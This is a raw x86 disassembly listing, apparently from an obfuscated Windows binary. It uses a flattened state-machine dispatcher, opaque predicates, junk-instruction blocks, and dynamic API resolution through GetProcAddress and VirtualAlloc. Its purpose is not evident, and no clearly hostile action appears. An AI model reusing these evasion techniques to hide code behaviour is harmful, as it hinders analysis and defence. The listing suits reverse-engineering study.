and edx, 0xe8a61c2
or ecx, esi
mov esi, 0x8c9eb2c4
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xd0e30086
and ecx, 0x2f1cff79
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf2658a5b
and ecx, 0xd9a75a4
or ecx, eax
xor ecx, 0xd9a75a4
setne ah
sete ch
cmp dword [0x460980], 0xa
mov dl, ah
setl al
setge cl
and dl, cl
and al, ch
xor ah, cl
or al, dl
and ah, ch
xor al, 1
or al, cl
or cl, ch
xor cl, 1
mov edx, eax
or cl, ah
not dl
mov ah, cl
and cl, al
xor ah, 1
and dl, ah
or ah, al
or dl, cl
mov al, ah
mov ecx, 0x883cc266
xor al, dl
test al, 1
cmovne ecx, esi
test ah, ah
mov eax, 0x883cc266
jmp 0x412955
cmp eax, 0xabd0f80e
je 0x40e0c0
cmp eax, 0xabe09772
je 0x40e29f
cmp eax, 0xabe7b940
jne 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x6504b1e4
mov esi, edx
and esi, 0x9afb4e1a
and edx, 0x45e0c14a
or esi, ecx
mov ecx, eax
or ecx, 0x6504b1e4
and eax, 0xba1f3eb5
and ecx, 0x6504b1e5
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0x929dc843
mov esi, edx
and esi, 0x6d6237bc
or ecx, esi
mov esi, eax
xor esi, 0x921d0801
xor eax, 0x45600108
and eax, 0x6d6237bc
and esi, 0x929dc843
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x5956fea7
sete dl
setne ah
cmp dword [0x460980], 0xa
setge al
setl ch
mov cl, al
and ah, ch
or ch, dl
xor al, dl
and cl, dl
mov dl, ch
xor dl, al
or al, ch
or cl, ah
xor al, 1
or al, dl
mov edx, eax
mov ah, al
not dl
and dl, al
xor dl, 1
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov eax, 0xdeb3f081
xor dl, cl
mov ch, dl
test dl, 1
not ch
cmovne eax, esi
test ch, cl
mov ecx, 0xdeb3f081
cmove eax, ecx
mov ecx, dword [ebp - 0xc4]
cmovne eax, esi
test dl, 1
cmovne eax, esi
mov edx, ecx
not edx
mov esi, ecx
and esi, 0xf000d683
and ecx, 0xe87285c
and edx, 0x1780120
or esi, edx
xor esi, 0xf000d683
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xf8dd541b
and edx, 0x722abe4
or ecx, edx
mov edx, ecx
mov esi, ecx
xor ecx, 0xb65a7c47
xor edx, 0x9a583b8
xor esi, 0x49a583b8
and esi, edx
and ecx, 0xbfffffff
and edx, 0x40000000
or edx, ecx
or edx, esi
mov ecx, edx
not ecx
and edx, 0x62336db0
and ecx, 0x9dcc924f
or edx, ecx
cmp edx, 0x62336db0
setne byte [ebp - 0xa7]
jmp 0x402900
cmp eax, 0x6e77c867
je 0x40e363
cmp eax, 0x6ef55c90
je 0x40e36d
cmp eax, 0x6f0f0754
jne 0x402900
movzx eax, word [ebp - 0xd6]
mov ecx, dword [ebp - 0x74]
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [0x460984]
cmp dword [eax], 0
lea eax, [ecx + 1]
setne byte [ebp - 0xa3]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x40022000
mov edx, ecx
and edx, 0x80051134
and ecx, 0x9216105f
or esi, edx
mov edx, eax
xor edx, 0xc0073134
and edx, eax
xor esi, 0x40022000
and eax, 0x6de9efa0
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xcdae42c
xor eax, 0x6de9efa0
and esi, 0xf3251bd3
or edx, esi
mov esi, 0x5e2a3958
xor edx, 0x33222ae6
or eax, edx
mov ecx, eax
not ecx
and eax, 0xf88f260d
and ecx, 0x770d9f2
or eax, ecx
xor eax, 0xf88f260d
sete al
setne cl
cmp dword [0x460980], 0xa
setge dl
xor al, dl
or cl, dl
mov edx, eax
not dl
and dl, cl
xor cl, 1
mov ah, cl
xor ah, al
and al, cl
and ah, cl
or al, dl
mov cl, ah
xor cl, al
mov ecx, 0xe348c39a
cmovne ecx, esi
test al, al
jmp 0x411b5e
cmp eax, 0xec668553
je 0x40e377
cmp eax, 0xec7d2f1d
je 0x40e381
cmp eax, 0xed297aaf
jne 0x402900
add edx, 0xcb
imul eax
imul edi
dec edi
rcr edi, 0x8c
neg eax
rcr esi, 0xc7
mov esi, 0xde
imul eax
imul edi
neg esi
rcr edx, 0xfb
rol edi, 0x55
rol eax, 0x61
imul edi
bswap eax
rcr edx, 0x47
rol edi, 0x6e
inc eax
inc ebx
or esi, 0x45
bswap edx
inc eax
dec ebx
imul edx
or eax, 0x4b
rcl eax, 0x3a
add edx, 0xee
neg ebx
inc edi
ror esi, 0xb8
not ebx
bswap edi
bswap edx
not edx
ror esi, 0x88
sub edx, 0x3d
add ebx, 0xb0
mov edi, 8
not eax
inc eax
rcr ebx, 0xa3
bswap eax
rcl ebx, 0xdd
not edx
neg eax
sbb eax, 0xe7
imul ebx
imul edi
dec edx
rol eax, 0xfe
bswap eax
ror eax, 0x1d
bswap ebx
inc edx
or edx, 0xc5
inc ebx
not eax
rcr eax, 0xe
sbb esi, 0x16
neg esi
mov edi, 0x93
inc esi
inc ebx
inc esi
not esi
sbb eax, 0x93
inc eax
not ebx
imul edx
sub ebx, 0x60
mov eax, 8
imul eax
rcr edx, 0xc0
inc eax
dec ebx
dec eax
add edx, 0xbe
rol ebx, 0x3e
mov esi, 2
inc edi
neg edx
mov eax, 0x7e
or edx, 0xe0
ror edx, 0x37
ror edx, 0x77
mov eax, 0x6e
neg esi
bswap ebx
neg edi
add edi, 0xbc
rcr eax, 0xae
add eax, 0xcb
sbb esi, 0xca
ror edx, 0x28
mov edx, 0xd6
inc ebx
dec edx
imul eax
imul eax
mov ebx, 0xe6
imul eax
sbb edi, 0x54
neg edx
rcr edi, 0xe
dec eax
imul edi
rcr edx, 0x56
dec ebx
sbb ebx, 0xcf
neg edx
bswap eax
bswap ebx
and eax, 0x6f
dec edx
neg esi
inc eax
and ebx, 0xee
imul eax
add eax, 0x21
inc ebx
ror eax, 0x74
rcr eax, 0xa8
rcr edx, 0xf5
neg ebx
rcr esi, 0xb
bswap edx
rol esi, 0x53
ror ebx, 0x91
bswap edx
ror eax, 0x6d
imul esi
mov edi, 0x57
sbb edx, 0xb9
bswap edi
imul esi
rcr esi, 0x50
add ebx, 0x11
dec edi
rol ebx, 0xc
not esi
sub ebx, 0x2b
inc edi
mov edx, 0xe4
imul esi
inc ebx
not edx
imul edx
add esi, 0xa
and esi, 0xa0
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x99f13f20
mov eax, edx
and eax, 0x660ec0de
and edx, 0xa21afe5d
or esi, eax
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
xor esi, 0x99f13f20
and ecx, 0x5de501a2
or eax, esi
or ecx, edx
mov esi, eax
not esi
and eax, 0x74240faa
and esi, 0x8bdbf055
or eax, esi
mov esi, eax
xor esi, 0x100008a8
xor eax, 0x8bdbf055
mov edx, eax
and edx, 0xeda6f756
and esi, 0x125908a9
or esi, edx
mov edx, ecx
xor edx, 0x104100a0
xor ecx, 0xa21afe5d
or eax, ecx
and ecx, 0xeda6f756
and edx, 0x125908a9
or edx, ecx
not eax
xor edx, esi
mov esi, 0x19b3e215
or eax, edx
mov ecx, eax
not ecx
and eax, 0x1fd9a5bc
and ecx, 0xe0265a43
or eax, ecx
xor eax, 0x1fd9a5bc
sete cl
setne ah
cmp dword [0x460980], 0xa
setl al
setge dl
mov ch, al
and al, ah
and ah, dl
and ch, cl
and cl, dl
or ch, ah
or al, cl
mov ah, ch
xor ah, dl
and ah, ch
mov dl, ah
mov cl, ah
xor dl, 1
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
and ah, al
xor al, 1
and cl, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x469eb475
cmovne eax, esi
test cl, cl
not dl
mov ecx, 0x469eb475
cmove eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x402900
cmp eax, 0x3bb7cd02
je 0x40e39a
cmp eax, 0x3ce56b6a
je 0x40e3a4
cmp eax, 0x3cf8dfb8
jne 0x402900
mov eax, dword [ebp - 0x58]
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xa66acf58
and ecx, 0x599530a7
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7ea37c66
and ecx, 0x815c8399
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0xd8c9b33e
xor ecx, 0x27364cc1
xor edx, 0x27364cc0
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x502b0462
mov esi, eax
and esi, 0xafd4fb9d
or edx, esi
mov esi, ecx
not esi
and ecx, 0x502b0462
or eax, esi
and esi, 0xafd4fb9d
or ecx, esi
not eax
mov esi, 0xe2f56e5d
xor ecx, edx
or eax, ecx
mov edx, eax
xor edx, 0x2fdb7835
mov ecx, eax
and ecx, 0x5191810
and edx, eax
not eax
and eax, 0x2ac26025
or ecx, eax
xor ecx, 0x5191810
or ecx, edx
not edx
and edx, 0xd02487ca
and ecx, 0x2fdb7835
or ecx, edx
setne al
sete dl
cmp dword [0x460980], 0xa
mov ch, al
setge ah
setl cl
inc al
and al, ah
and ch, cl
mov ah, cl
or cl, dl
or al, ch
xor ah, dl
xor cl, 1
xor al, 1
or cl, ah
mov edx, eax
xor al, cl
or dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0xa686c6fd
cmovne ecx, esi
test al, al
mov esi, 0xa686c6fd
jmp 0x410219
cmp eax, 0x9b7bd982
je 0x40e3ae
cmp eax, 0x9c4ac2a0
je 0x40e480
cmp eax, 0x9cb3022a
jne 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x8801a0
mov esi, ecx
mov edi, ecx
or esi, 0x24048c4e
and edx, 0x248c8dee
and edi, 0x50527011
and ecx, 0x6e902562
or edi, edx
mov edx, eax
and esi, 0x248c8dee
and edx, 0x8b210200
and eax, 0x916fda9d
or edx, esi
or eax, ecx
xor edx, edi
xor eax, 0x916fda9d
mov edi, 0xad84074e
mov esi, edx
not esi
and edx, 0x7456fc5e
and esi, 0x8ba903a1
or edx, esi
mov esi, edx
not esi
and edx, 0xf66dd0f9
and esi, 0x9922f06
or edx, esi
mov esi, 0x5a6a6342
xor edx, 0xf66dd0f9
or eax, edx
mov ecx, eax
not ecx
and eax, 0x410652aa
and ecx, 0xbef9ad55
or eax, ecx
cmp eax, 0x410652aa
sete dl
cmp dword [0x460980], 0xa
setge al
mov ah, al
xor ah, dl
xor ah, 1
mov cl, ah
and ah, dl
or cl, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
or dl, al
and ch, cl
mov eax, 0x5a6a6342
mov cl, dl
xor cl, ch
test dl, 1
cmovne eax, edi
test ch, ch
cmove eax, esi
test cl, 1
cmovne eax, edi
jmp 0x402900
cmp eax, 0x5ff4eae6
je 0x40e5f1
cmp eax, 0x6080c0ea
je 0x40e6a2
cmp eax, 0x60899029
jne 0x402900
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xf0d86915
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0xf2796ea
and eax, 0xf0d86915
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
not edx
and ecx, 0x2325f3d0
mov esi, edx
and esi, 0xdcda0c2f
or ecx, esi
mov esi, eax
not esi
and eax, 0x2325f3d0
or edx, esi
and esi, 0xdcda0c2f
or eax, esi
not edx
mov esi, 0x9db2c20a
xor eax, ecx
or edx, eax
mov eax, edx
not eax
and edx, 0x7814be00
and eax, 0x87eb41ff
or eax, edx
mov ecx, eax
xor ecx, 0x68142200
xor eax, 0x87eb41ff
mov edx, eax
and edx, 0x158b9d39
and ecx, 0xea7462c6
or ecx, edx
xor ecx, 0xea7462c6
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete ch
cmp dword [0x460980], 0xa
setl ah
setge cl
mov al, ah
and dl, ah
and cl, ch
xor al, ch
or cl, dl
mov dh, al
and al, ah
or ah, ch
and dh, ch
xor al, 1
xor ah, 1
xor dh, 1
or cl, ah
mov bl, dh
xor bl, al
or al, dh
xor al, 1
or al, bl
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x78d7c9ce
cmovne ecx, esi
test al, 1
mov eax, 0x78d7c9ce
jmp 0x412955
cmp eax, 0xe22e201e
je 0x40e7d7
cmp eax, 0xe2321bb3
je 0x40e7e1
cmp eax, 0xe2f56e5d
jne 0x402900
mov eax, 0xa686c6fd
jmp 0x402900
cmp eax, 0x1cbf4117
je 0x40e7f6
cmp eax, 0x1df9cdef
je 0x40e8ac
cmp eax, 0x1ecb30fe
jne 0x402900
mov eax, 0x729b26a9
jmp 0x402900
cmp eax, 0xbb2d3cc1
je 0x40ea19
cmp eax, 0xbb923b53
je 0x40eb55
cmp eax, 0xbc743514
jne 0x402900
mov eax, dword [ebp - 0x18]
mov eax, 0x8c4779f3
jmp 0x402900
cmp eax, 0x7b1b5389
je 0x40eb5f
cmp eax, 0x7b3e60ff
je 0x40f7cf
cmp eax, 0x7c975107
jne 0x402900
mov eax, dword [ebp - 0x14]
mov eax, 0x5dedad62
jmp 0x402900
cmp eax, 0xfc6f1456
je 0x40f8c5
cmp eax, 0xfca1ff9a
je 0x40fc4f
cmp eax, 0xfcd124af
jne 0x402900
cmp byte [ebp - 0x9e], 0
mov eax, 0x94904188
mov ecx, 0x222c8c96
cmovne eax, ecx
jmp 0x402900
cmp eax, 0x24d0087e
je 0x40fc59
cmp eax, 0x25624bc5
je 0x40fc72
cmp eax, 0x26d7c9b1
jne 0x402900
push 4
push 0x3000
push dword [ebp - 0xfc]
push dword [ebp - 0x15c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
mov eax, 0x65391612
jmp 0x402900
cmp eax, 0x817e1a99
je 0x40277c
cmp eax, 0x829c8611
je 0x40fd7b
cmp eax, 0x83232435
jne 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x85b049c0
and ecx, 0x2082019
or edx, ecx
mov ecx, eax
and ecx, 0x78479626
xor edx, 0x85b049c0
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x87b869d8
and edx, 0x78479627
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0x54b6bcea
not ecx
or ecx, edx
xor ecx, 0xffffffff
sete cl
setne ch
cmp dword [0x460980], 0xa
setl al
setge dl
mov ah, al
and al, ch
or ah, cl
and cl, dl
xor dl, ch
xor ah, 1
or al, cl
or ah, dl
mov ch, al
mov dl, ah
mov cl, ah
xor ch, 1
xor dl, 1
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
and cl, al
xor ah, 1
and ah, ch
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x3bb7cd02
cmovne edx, esi
test al, 1
mov eax, 0x3bb7cd02
jmp 0x411a5a
cmp eax, 0x454e4029
je 0x40fe81
cmp eax, 0x456f9830
je 0x40fe94
cmp eax, 0x469eb475
jne 0x402900
mov eax, 0xbab09a44
jmp 0x402900
cmp eax, 0xc2f5ecd6
je 0x40fead
cmp eax, 0xc3103d25
je 0x40ff78
cmp eax, 0xc49d63a3
jne 0x402900
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, 0x27aac24f
jmp 0x402900
cmp eax, 0x55c32
je 0x4100bb
cmp eax, 0x1a9c6ba
je 0x4100c5
cmp eax, 0x4802a7d
jne 0x402900
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd0]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x50]
mov eax, 0xfebd7009
jmp 0x402900
cmp eax, 0xa042b270
je 0x410228
cmp eax, 0xa070aa60
je 0x410254
cmp eax, 0xa0854a4a
jne 0x402900
mov eax, 0xcdda00ad
jmp 0x402900
cmp eax, 0x663687d0
je 0x4103af
cmp eax, 0x66e29ab7
je 0x4104d4
cmp eax, 0x671070f0
jne 0x402900
mov eax, 0xec42d51c
jmp 0x402900
cmp eax, 0xe614de61
je 0x4104e7
cmp eax, 0xe61cb27a
je 0x41052f
cmp eax, 0xe6c070a6
jne 0x402900
mov eax, dword [ebp - 0x28]
mov eax, 0x3e8c9025
jmp 0x402900
cmp eax, 0x326c7593
je 0x410702
cmp eax, 0x3289f5d5
je 0x41071b
cmp eax, 0x32db383b
jne 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
andn ecx, eax, eax
mov edx, eax
not edx
mov edi, eax
and edi, 0x2018f56e
mov esi, ecx
not esi
and edx, 0xdfe70a91
and ecx, 0xdfe70a91
or eax, esi
and esi, 0x2018f56e
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0xeeb258a4
mov edx, eax
not edx
mov ebx, eax
and ebx, 0x11412018
andn esi, eax, ecx
or edx, 0xeeb258a4
and eax, 0xfffffffe
mov ecx, esi
not ecx
and esi, 0xbb4330bc
mov edi, ecx
or ecx, edx
and edi, 0x44bccf43
and edx, 0x44bccf43
or esi, edi
or ebx, edx
not ecx
xor ebx, esi
mov esi, 0x9cee74db
or ecx, ebx
mov edx, ecx
not edx
and ecx, 0xeeb258a5
and edx, 0x114da75a
or ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0x72ef7d4f
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0x8d1082b0
and eax, 0x72ef7d4f
or eax, ecx
sete dl
setne ah
cmp dword [0x460980], 0xa
setge cl
setl al
and ah, al
and cl, dl
or al, dl
or cl, ah
xor al, 1
or al, cl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xeb358c8
cmovne eax, esi
test cl, cl
mov ecx, 0xeb358c8
cmove eax, esi
test dl, dl
cmove eax, ecx
jmp 0x402900
cmp eax, 0x8e3b56cb
je 0x41080f
cmp eax, 0x8f367c63
je 0x4109d0
cmp eax, 0x8f5d7d1d
jne 0x402900
mov eax, 0xe52fcd9d
jmp 0x402900
cmp eax, 0x54b6bcea
je 0x410b71
cmp eax, 0x54cb1fdd
je 0x410b7b
cmp eax, 0x565ed7dd
jne 0x402900
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x174], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x178], eax
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x10c1c351
and edx, 0xef3e3cae
or eax, edx
mov edx, eax
xor edx, 0x40c241
xor eax, 0xef3e3cae
mov esi, eax
and esi, 0x5599211e
and edx, 0xaa66dee1
or edx, esi
mov esi, ecx
not esi
and ecx, 0xaa66dee1
or eax, esi
and esi, 0x5599211e
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 1
and eax, 0xa900c344
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0x56ff3cbb
or eax, esi
mov esi, edx
not esi
and edx, 0xa900c344
or ecx, esi
and esi, 0x56ff3cbb
or edx, esi
not ecx
mov esi, 0xb9e3aa5f
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x18200502
mov edx, eax
and edx, 0xc3002211
and eax, 0x24dfd8ec
or ecx, edx
xor ecx, 0x18200502
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x36ce5e9
mov edx, ecx
and edx, 0xfc931a16
or eax, edx
xor eax, 0x36ce5e9
or eax, ecx
xor eax, 0xffffffff
setne ah
sete ch
cmp dword [0x460980], 0xa
mov dh, ah
setge cl
setl dl
mov al, cl
and ah, dl
and cl, ch
or dh, dl
or dl, ch
or cl, ah
mov ah, dl
or al, ch
xor dh, 1
xor cl, 1
xor al, 1
xor ah, cl
or cl, dl
or al, dh
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
mov ch, dl
or dl, cl
xor ch, cl
mov cl, ah
or ah, al
xor dl, 1
xor cl, al
xor ah, 1
or dl, ch
or ah, cl
xor dl, al
mov cl, ah
xor cl, dl
test ah, 1
mov eax, 0x1ecb30fe
cmovne eax, esi
test dl, 1
mov edx, 0x1ecb30fe
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402900
cmp eax, 0xd5a83fcd
je 0x410c81
cmp eax, 0xd69ed491
je 0x410c8b
cmp eax, 0xd7390704
jne 0x402900
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0x130], eax
mov eax, 0x998e133f
jmp 0x402900
cmp eax, 0x143a497a
je 0x410d54
cmp eax, 0x14740200
je 0x410d61
cmp eax, 0x14c733c9
jne 0x402900
mov eax, 0x25624bc5
jmp 0x402900
cmp eax, 0xb26f1710
je 0x410d81
cmp eax, 0xb303e2c1
je 0x410da1
cmp eax, 0xb35cd64c
jne 0x402900
mov eax, 0xb4ff45ec
jmp 0x402900
cmp eax, 0x733416c3
je 0x410dab
cmp eax, 0x73d2e11f
je 0x410db5
cmp eax, 0x749d0721
jne 0x402900
mov eax, 0x21163875
jmp 0x402900
cmp eax, 0xf3861d54
je 0x410dbf
cmp eax, 0xf3fba726
je 0x410eec
cmp eax, 0xf41cfa7e
jne 0x402900
mov eax, 0xf994cf0c
jmp 0x402900
cmp eax, 0x2b83a878
je 0x41109a
cmp eax, 0x2bdcd932
je 0x4110ad
cmp eax, 0x2c1f7734
jne 0x402900
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov dword [eax], 0
mov eax, 0x8440d8f7
jmp 0x402900
cmp eax, 0x88599b33
je 0x4110bd
cmp eax, 0x889bb69a
je 0x4110d6
cmp eax, 0x8940f71b
jne 0x402900
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x14c], eax
mov eax, 0xf206af17
jmp 0x402900
cmp eax, 0x4d91dd88
je 0x4112ee
cmp eax, 0x4e2ab49c
je 0x4112f8
cmp eax, 0x4f1e0a5c
jne 0x402900
mov ecx, dword [ebp - 0xd4]
mov eax, ecx
not eax
mov edi, ecx
and edi, 0x23232410
mov esi, ecx
and esi, 0x4c5c0146
mov edx, eax
and edx, 0x9080daa9
and eax, 0x4eebc27e
or edi, edx
xor edi, 0x23232410
or esi, edi
mov edx, esi
not edx
and esi, 0x5f2f3d45
and edx, 0xa0d0c2ba
or esi, edx
mov edx, esi
xor edx, 0x4080818c
xor esi, 0x2401802
and esi, 0x8e4c5a72
and edx, 0x71b3a58d
or edx, esi
mov esi, edx
xor esi, 0x40a3800c
xor edx, 0x8e4c5a72
mov edi, edx
or edx, ecx
and ecx, 0xb1143d81
and edi, 0xb1143d81
and esi, 0x4eebc27e
or esi, edi
or eax, ecx
not edx
xor eax, esi
or edx, eax
mov eax, edx
not eax
and edx, 0x48b3af06
and eax, 0xb74c50f9
or edx, eax
mov eax, dword [0x460984]
cmp edx, 0x48b3af06
setne byte [ebp - 0xa8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x4800010a
mov esi, eax
and esi, 0xa4017490
mov edi, eax
or edi, 0x6800151a
and eax, 0x885f743a
or edx, esi
and edi, 0x78e89d5b
mov esi, edx
xor esi, 0x30e89c51
and edx, 0x84016080
and esi, 0x78e89d5b
or edx, esi
mov esi, ecx
and esi, 0x3160224
or esi, edi
xor esi, edx
mov edx, esi
not edx
and esi, 0x7ae3a3b2
and edx, 0x851c5c4d
or esi, edx
mov edx, esi
xor edx, 0x86a29409
xor esi, 0x21000814
and esi, 0x31404a34
and edx, 0xcebfb5cb
or edx, esi
mov esi, edx
xor esi, 0x881f340a
xor edx, 0x31404a34
mov edi, edx
or edx, ecx
and ecx, 0x77a08bc5
and edi, 0x77a08bc5
and esi, 0x885f743a
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x50e2800c
or edx, eax
xor edx, 0xffffffff
setne dl
sete al
cmp dword [0x460980], 0xa
mov ecx, edx
setl ah
setge ch
mov dh, ah
and cl, ch
xor dl, ch
and dh, al
and dl, al
xor al, ah
or dh, cl
and al, ah
mov cl, dh
or al, dl
xor cl, ch
mov dl, al
and cl, dh
xor dl, 1
mov ah, cl
and al, dl
xor ah, 1
xor al, 1
and cl, ah
mov dh, al
or al, dl
xor cl, 1
xor dh, dl
xor al, 1
or dl, ah
mov ch, cl
or cl, ah
or al, dh
xor ch, ah
xor cl, 1
mov ah, dl
or cl, ch
xor al, cl
xor ah, al
test dl, dl
mov edx, 0x85a02f25
cmovne edx, esi
test al, 1
cmove edx, esi
test ah, 1
mov eax, 0x85a02f25
jmp 0x412b78
cmp eax, 0xcdf2d7ed
je 0x4113b6
cmp eax, 0xce1b0207
je 0x4113c3
cmp eax, 0xce378fca
jne 0x402900
mov eax, dword [ebp - 0x110]
push dword [eax]
push dword [ebp - 0x10c]
push dword [ebp - 0x108]
vzeroupper
call fcn.0042fd70
add esp, 0xc
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
and eax, 0x535de21
mov edi, edx
or edi, 0x55de6a8c
mov esi, edx
and esi, 0x55de6a8c
and edx, 0xfaca21de
mov ecx, edi
not ecx
and edi, 0xaa219572
or eax, edx
or ecx, esi
and ecx, 0x55de6a8d
or ecx, edi
mov edx, ecx
not edx
and ecx, 0xb1c2c84d
mov esi, edx
and esi, 0x4e3d37b2
or ecx, esi
mov esi, eax
xor esi, 0x100c801
xor eax, 0x4a082192
and eax, 0x4e3d37b2
and esi, 0xb1c2c84d
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x7a7176dd
sete ah
setne ch
cmp dword [0x460980], 0xa
setge al
setl dl
mov cl, al
or al, ch
and ch, dl
xor dl, ah
and cl, ah
xor al, 1
or cl, ch
or al, dl
mov ah, cl
xor al, 1
mov ch, cl
xor ah, 1
or al, dl
mov dl, ah
xor ah, al
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
mov ch, dl
xor ch, 1
and ch, al
xor al, 1
and dl, al
or al, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xed7981fe
cmovne ecx, esi
test al, 1
mov eax, 0xed7981fe
jmp 0x412955
cmp eax, 0xd5f42ef
je 0x4113d0
cmp eax, 0xda4d298
je 0x4113da
cmp eax, 0xdc848c0
jne 0x402900
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x150]
mov dword [eax + 4], ecx
push dword [ebp - 0x88]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x50]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0xd085d712
jmp 0x402900
cmp eax, 0xa965a896
je 0x411402
cmp eax, 0xaa291a37
je 0x41140c
cmp eax, 0xaafbc836
jne 0x402900
rcl esi, 0x9f
mov ebx, 0xf4
dec ebx
not esi
and eax, 0x61
rcr esi, 0x99
add ebx, 0x78
dec esi
imul ebx
bswap esi
add edi, 0xd3
sbb edx, 0xa5
bswap eax
inc edx
dec edi
neg esi
not edi
or ebx, 0x60
sbb edi, 0xa4
neg ebx
neg edx
dec eax
and esi, 0x4a
mov eax, 0xe8
inc edx
dec eax
not edi
or edi, 0xab
rol edi, 0x62
dec edi
not esi
or edi, 0xc6
rcl edx, 0x1a
inc ebx
neg edi
bswap eax
and ebx, 0xff
and esi, 0xcb
rol esi, 0xf0
mov ebx, 0xf3
not eax
bswap edx
neg ebx
rcl edi, 0x60
neg esi
dec ebx
rcr ebx, 0xc
or esi, 0x7c
sbb eax, 0xb4
rol eax, 0x19
neg ebx
rol ebx, 0x2f
